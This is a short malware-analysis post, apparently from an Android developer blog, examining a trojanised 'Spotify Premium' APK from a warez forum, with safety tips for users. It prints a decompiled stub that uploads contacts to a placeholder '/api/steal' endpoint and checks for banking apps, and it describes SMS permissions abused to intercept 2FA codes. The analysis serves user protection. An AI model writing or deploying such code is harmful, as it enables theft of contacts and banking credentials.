Anatomy of a Crack: The Fake Spotify Premium

Target App: Spotify Premium (Modded) v8.9.1
Source: Popular Warez Forum
Verdict: INFECTED (Trojan.SMS.Agent)

1. The Hook

You search for “Spotify Premium Free APK”. You find a file promising no ads and unlimited skips. The file size looks correct (about 45MB). You install it. The music actually works.

But what is happening in the background?

2. The Code

As Android developers, we decompiled the APK using JADX. Here is what we found in the MainService.smali file, which is NOT present in the original app.

// Decompiled Java snippet
public void onStartCommand(Intent intent, int flags, int startId) {
    super.onStartCommand(intent, flags, startId);
    
    // This method silently requests contacts
    uploadContactsToServer("[http://192.168.](http://192.168.)x.x/api/steal");
    
    // Checks if the user has banking apps installed
    checkForTargetApps("com.ing.mobile", "com.revolut");
}

3. The Permissions The original Spotify app requires internet and audio permissions. This cracked version requested access to READ_SMS and SEND_SMS.

Pro Tip: Never trust a music app that wants to read your text messages. It’s likely trying to intercept 2FA codes from your bank.

4. How to stay safe?

• Check permissions using our Manifest Analyzer.

If you are infected, factory reset your phone immediately.